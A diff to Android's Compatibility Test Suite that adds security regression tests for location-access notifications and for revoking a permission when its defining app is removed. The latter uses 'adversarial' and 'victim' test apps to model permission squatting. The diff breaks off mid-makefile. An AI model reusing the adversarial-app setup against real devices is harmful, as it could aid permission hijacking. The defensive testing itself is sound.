@@ -547,6 +580,7 @@
     }
 
     @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
     public void removeNotificationOnUninstall() throws Throwable {
         accessLocation();
         getNotification(false);
@@ -557,6 +591,7 @@
             eventually(() -> assertNull(getNotification(false)), UNEXPECTED_TIMEOUT_MILLIS);
         } finally {
             installBackgroundAccessApp();
+            getNotification(true);
         }
     }
 
@@ -583,4 +618,50 @@
             installBackgroundAccessApp();
         }
     }
+
+    @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
+    public void noNotificationIfFeatureDisabled() throws Throwable {
+        disableLocationAccessCheck();
+        accessLocation();
+        assertNull(getNotification(true));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
+    public void notificationOnlyForAccessesSinceFeatureWasEnabled() throws Throwable {
+        // Disable the feature and access location in disabled state
+        disableLocationAccessCheck();
+        accessLocation();
+        assertNull(getNotification(true));
+
+        // No notification expected for accesses before enabling the feature
+        enableLocationAccessCheck();
+        assertNull(getNotification(true));
+
+        // Notification expected for access after enabling the feature
+        accessLocation();
+        assertNotNull(getNotification(true));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
+    public void noNotificationIfBlamerNotSystemOrLocationProvider() throws Throwable {
+        // Blame the app for access from an untrusted for notification purposes package.
+        runWithShellPermissionIdentity(() -> {
+            AppOpsManager appOpsManager = sContext.getSystemService(AppOpsManager.class);
+            appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_FINE_LOCATION, TEST_APP_PKG,
+                    sContext.getPackageManager().getPackageUid(TEST_APP_PKG, 0));
+        });
+        assertNull(getNotification(true));
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel="2019-12-01")
+    public void testOpeningLocationSettingsDoesNotTriggerAccess() throws Throwable {
+        Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        sContext.startActivity(intent);
+        assertNull(getNotification(true));
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
new file mode 100644
index 0000000..050002a
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class RemovePermissionTest {
+    private static final String APP_PKG_NAME = "android.permission.cts.revokepermissionwhenremoved";
+    private static final String USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.userapp";
+    private static final String TEST_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestPermission";
+    private static final String RUNTIME_PERMISSION_USER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp";
+    private static final String RUNTIME_PERMISSION_DEFINER_PKG_NAME =
+            "android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp";
+    private static final String TEST_RUNTIME_PERMISSION =
+            "android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission";
+
+    private Context mContext;
+    private Instrumentation mInstrumentation;
+    private Object mMySync = new Object();
+
+    @Before
+    public void setContextAndInstrumentation() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+    }
+
+    @Before
+    public void wakeUpScreen() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
+    }
+
+    private boolean permissionGranted(String pkgName, String permName)
+            throws PackageManager.NameNotFoundException {
+        PackageInfo appInfo = mContext.getPackageManager().getPackageInfo(pkgName,
+                GET_PERMISSIONS);
+
+        for (int i = 0; i < appInfo.requestedPermissions.length; i++) {
+            if (appInfo.requestedPermissions[i].equals(permName)
+                    && ((appInfo.requestedPermissionsFlags[i] & REQUESTED_PERMISSION_GRANTED)
+                    != 0)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void installApp(String apk) throws InterruptedException {
+        String installResult = SystemUtil.runShellCommand(
+                "pm install -r -d data/local/tmp/cts/permissions/" + apk + ".apk");
+        synchronized (mMySync) {
+            mMySync.wait(10000);
+        }
+        assertEquals("Success", installResult.trim());
+    }
+
+    private void uninstallApp(String pkg) throws InterruptedException {
+        String uninstallResult = SystemUtil.runShellCommand(
+                "pm uninstall " + pkg);
+        synchronized (mMySync) {
+            mMySync.wait(10000);
+        }
+        assertEquals("Success", uninstallResult.trim());
+    }
+
+    private void grantPermission(String pkg, String permission) {
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
+                pkg, permission);
+    }
+
+    @SecurityTest
+    @Test
+    public void permissionShouldBeRevokedIfRemoved() throws Throwable {
+        installApp("CtsAdversarialPermissionDefinerApp");
+        installApp("CtsAdversarialPermissionUserApp");
+
+        grantPermission(USER_PKG_NAME, TEST_PERMISSION);
+        assertTrue(permissionGranted(USER_PKG_NAME, TEST_PERMISSION));
+
+        // Uninstall app which defines a permission with the same name as in victim app.
+        // Install the victim app.
+        uninstallApp(APP_PKG_NAME + ".AdversarialPermissionDefinerApp");
+        installApp("CtsVictimPermissionDefinerApp");
+        assertFalse(permissionGranted(USER_PKG_NAME, TEST_PERMISSION));
+        uninstallApp(APP_PKG_NAME + ".userapp");
+        uninstallApp(APP_PKG_NAME + ".VictimPermissionDefinerApp");
+    }
+
+    @Test
+    public void permissionShouldRemainGrantedAfterAppUpdate() throws Throwable {
+        installApp("CtsRuntimePermissionDefinerApp");
+        installApp("CtsRuntimePermissionUserApp");
+
+        grantPermission(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION);
+        assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
+
+        // Install app which defines a permission. This is similar to update the app
+        // operation
+        installApp("CtsRuntimePermissionDefinerApp");
+        assertTrue(permissionGranted(RUNTIME_PERMISSION_USER_PKG_NAME, TEST_RUNTIME_PERMISSION));
+        uninstallApp(RUNTIME_PERMISSION_USER_PKG_NAME);
+        uninstallApp(RUNTIME_PERMISSION_DEFINER_PKG_NAME);
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index 8609e33..84c2dd6 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -25,11 +25,15 @@
 import static android.content.Context.WIFI_P2P_SERVICE;
 import static android.content.Context.WIFI_SERVICE;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNull;
 
+import android.app.WallpaperManager;
 import android.content.Context;
 import android.platform.test.annotations.AppModeInstant;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -68,8 +72,14 @@
 
     @Test
     public void cannotGetWallpaperManager() {
-        assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
-                WALLPAPER_SERVICE));
+        WallpaperManager mgr  = (WallpaperManager) InstrumentationRegistry.getTargetContext()
+                .getSystemService(WALLPAPER_SERVICE);
+        boolean supported = RequiredServiceRule.hasService("wallpaper");
+        if (supported) {
+            assertNull(mgr);
+        } else {
+            assertFalse(mgr.isWallpaperSupported());
+        }
     }
 
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
index 2f8d9e6..0d7d251 100644
--- a/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SharedUidPermissionsTest.java
@@ -98,23 +98,27 @@
         assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isFalse();
     }
 
-    @Test(expected = SecurityException.class)
-    public void runtimePermissionsCannotBeRevokedOnPackageThatDoesNotDeclarePermission()
+    @Test
+    public void runtimePermissionsCanBeRevokedOnPackageThatDoesNotDeclarePermission()
             throws Exception {
         install(APK_THAT_REQUESTS_PERMISSIONS);
         install(APK_THAT_REQUESTS_NO_PERMISSIONS);
         grantPermission(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS);
+        revokePermission(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
 
-        revokePermission(APK_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS)).isFalse();
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isFalse();
     }
 
-    @Test(expected = SecurityException.class)
-    public void runtimePermissionsCannotBeGrantedOnPackageThatDoesNotDeclarePermission()
+    @Test
+    public void runtimePermissionsCanBeGrantedOnPackageThatDoesNotDeclarePermission()
             throws Exception {
         install(APK_THAT_REQUESTS_PERMISSIONS);
         install(APK_THAT_REQUESTS_NO_PERMISSIONS);
+        grantPermission(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
 
-        grantPermission(APK_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS);
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_PERMISSIONS, READ_CONTACTS)).isTrue();
+        assertThat(isPermissionGranted(PKG_THAT_REQUESTS_NO_PERMISSIONS, READ_CONTACTS)).isTrue();
     }
 
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
index 4670928..c15b7a4 100755
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionsSystemTest.java
@@ -19,6 +19,7 @@
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
 import static android.Manifest.permission.READ_CALL_LOG;
 import static android.Manifest.permission.READ_CONTACTS;
 import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
@@ -104,6 +105,13 @@
                 case ACCESS_COARSE_LOCATION:
                     assertSplit(split, ACCESS_BACKGROUND_LOCATION, Build.VERSION_CODES.Q);
                     break;
+                case READ_EXTERNAL_STORAGE:
+                    assertSplit(split, ACCESS_MEDIA_LOCATION, Build.VERSION_CODES.Q);
+                    // Remove this split permission from seenSplits, ACCESS_MEDIA_LOCATION is not
+                    // always available hence removing this permission from seenSplits will
+                    // avoid seenSplits size check fail.
+                    seenSplits.remove(split);
+                    break;
             }
         }
 
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/tests/tests/permission/testapps/Android.mk
similarity index 71%
rename from hostsidetests/securitybulletin/test-apps/Android.mk
rename to tests/tests/permission/testapps/Android.mk
index f8d63a5..1d314d2 100644
--- a/hostsidetests/securitybulletin/test-apps/Android.mk
+++ b/tests/tests/permission/testapps/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,12 +12,6 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
similarity index 65%
copy from hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
index 226c360..b012b43 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -13,22 +12,19 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_PACKAGE_NAME := CtsAdversarialPermissionDefinerApp
 
-include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 66%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
index a48cb1d..d28fba8
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/AndroidManifest.xml
@@ -16,10 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+    package="android.permission.cts.revokepermissionwhenremoved.AdversarialPermissionDefinerApp">
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
 
+    <application>
+    </application>
 </manifest>
-
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
similarity index 66%
copy from hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
index 226c360..49a2e2b 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -13,22 +12,18 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+LOCAL_PACKAGE_NAME := CtsAdversarialPermissionUserApp
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 77%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
rename to tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
index a48cb1d..f514d54
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/AndroidManifest.xml
@@ -16,10 +16,10 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+    package="android.permission.cts.revokepermissionwhenremoved.userapp">
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission" />
 
+    <application>
+    </application>
 </manifest>
-
diff --git a/hostsidetests/securitybulletin/test-apps/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
similarity index 71%
copy from hostsidetests/securitybulletin/test-apps/Android.mk
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
index f8d63a5..1d314d2 100644
--- a/hostsidetests/securitybulletin/test-apps/Android.mk
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,12 +12,6 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
similarity index 66%
copy from hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
index 226c360..0719e6a 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -13,22 +12,19 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_PACKAGE_NAME := CtsRuntimePermissionDefinerApp
 
-include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 66%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
index a48cb1d..d3cf6d0
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/AndroidManifest.xml
@@ -16,10 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+    package="android.permission.cts.revokepermissionwhenremoved.runtimepermissiondefinerapp">
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission"
+        android:protectionLevel="dangerous"
+        android:label="TestPermission"
+        android:description="@string/test_permission" />
 
+    <application>
+    </application>
 </manifest>
-
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
similarity index 66%
copy from hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
index 226c360..3e7505b 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -13,22 +12,18 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+LOCAL_PACKAGE_NAME := CtsRuntimePermissionUserApp
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 75%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
index a48cb1d..d977e46
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/AndroidManifest.xml
@@ -16,10 +16,10 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+    package="android.permission.cts.revokepermissionwhenremoved.runtimepermissionuserapp">
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+    <uses-permission android:name="android.permission.cts.revokepermissionwhenremoved.TestRuntimePermission" />
 
+    <application>
+    </application>
 </manifest>
-
diff --git a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
similarity index 66%
copy from hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
index 226c360..833b8c7 100644
--- a/hostsidetests/securitybulletin/test-apps/launchanywhere/Android.mk
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.mk
@@ -1,5 +1,4 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -13,22 +12,20 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 #
-
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostLaunchAnyWhereApp
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
